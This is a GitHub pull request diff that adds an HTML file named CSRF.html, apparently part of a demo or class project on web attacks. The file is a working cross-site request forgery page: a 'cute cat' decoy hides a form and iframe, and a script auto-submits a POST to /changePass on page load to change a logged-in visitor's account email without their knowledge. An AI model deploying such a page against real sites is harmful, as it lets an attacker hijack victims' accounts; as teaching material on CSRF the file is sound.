Skip to content
Open

CSRF #32

Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 20 additions & 0 deletions Html/CSRF.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
<html>
<!-- Changes the user account email when the user is logged into the website and visits this web page -->

<body>
<h1>Look at this cute cat!</h1>
<img src="../Images/cat.jpg" alt="Cute Cat">
<iframe style="display:none" name="csrf-iframe"></iframe>
<form action="/changePass" method="POST" target="csrf-iframe" id="csrf-form">
<!-- To be modified after the backend is done -->
<input type="hidden" name="email" value="testemail@test.ca">
</form>

<script>
window.onload = function () {
document.getElementById("csrf-form").submit();
};
</script>
</body>

</html>